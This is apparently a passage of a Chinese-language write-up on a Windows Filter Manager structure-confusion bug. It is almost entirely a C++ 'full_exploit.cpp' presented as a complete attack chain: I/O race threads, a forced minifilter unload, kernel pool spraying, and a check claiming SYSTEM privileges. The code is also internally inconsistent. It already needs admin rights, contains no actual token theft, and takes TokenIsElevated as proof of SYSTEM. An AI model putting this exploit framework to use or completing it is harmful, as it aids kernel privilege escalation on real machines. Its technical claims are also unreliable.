Windows 过滤管理器中的 Attached 结构体混淆

// full_exploit.cpp — 完整攻击链框架
// 整合竞态触发、池喷射和 Token 窃取

#include <windows.h>
#include <stdio.h>
#include <thread>
#include <vector>
#include <atomic>

// 从 4.1 节复用的 I/O 工作线程
extern void io_worker(const wchar_t* target_path);
extern std::atomic<bool> g_stop;

// 用户态池喷射（通过创建内核对象间接喷射内核池）
void userland_pool_spray(int count) {
    std::vector<HANDLE> handles;
    for (int i = 0; i < count; i++) {
        // 创建事件对象，占用 NonPagedPool
        HANDLE hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
        if (hEvent) handles.push_back(hEvent);

        // 创建文件对象
        HANDLE hFile = CreateFileW(
            L"\\\\.\\C:", GENERIC_READ,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL, OPEN_EXISTING, 0, NULL
        );
        if (hFile != INVALID_HANDLE_VALUE) handles.push_back(hFile);
    }

    printf("[*] 已喷射 %zu 个内核对象\n", handles.size());

    // 保持句柄打开以维持池占用
    Sleep(5000);

    for (HANDLE h : handles) {
        CloseHandle(h);
    }
}

int wmain(int argc, wchar_t* argv[]) {
    printf("=== 过滤管理器卸载竞态 PoC ===\n\n");

    // 阶段 1: 启动 I/O 线程
    std::vector<std::thread> io_threads;
    for (int i = 0; i < 8; i++) {
        io_threads.emplace_back(io_worker, L"C:\\test\\target.bin");
    }

    Sleep(100);
    printf("[*] I/O 线程已启动，准备触发卸载竞态\n");

    // 阶段 2: 触发卸载（需要管理员权限）
    printf("[*] 触发微过滤器卸载...\n");
    system("fltmc unload MyFilter");

    // 阶段 3: 池喷射
    printf("[*] 开始内核池喷射...\n");
    std::thread spray_thread(userland_pool_spray, 10000);
    spray_thread.join();

    // 阶段 4: 检查提权结果
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION elevation;
        DWORD size;
        if (GetTokenInformation(hToken, TokenElevation,
                                &elevation, sizeof(elevation), &size)) {
            if (elevation.TokenIsElevated) {
                printf("[!] 权限提升成功！当前进程已获得 SYSTEM 权限\n");
            } else {
                printf("[-] 权限提升未成功，竞态未命中\n");
            }
        }
        CloseHandle(hToken);
    }

    // 清理
    g_stop = true;
    for (auto& t : io_threads) t.join();

    return 0;
}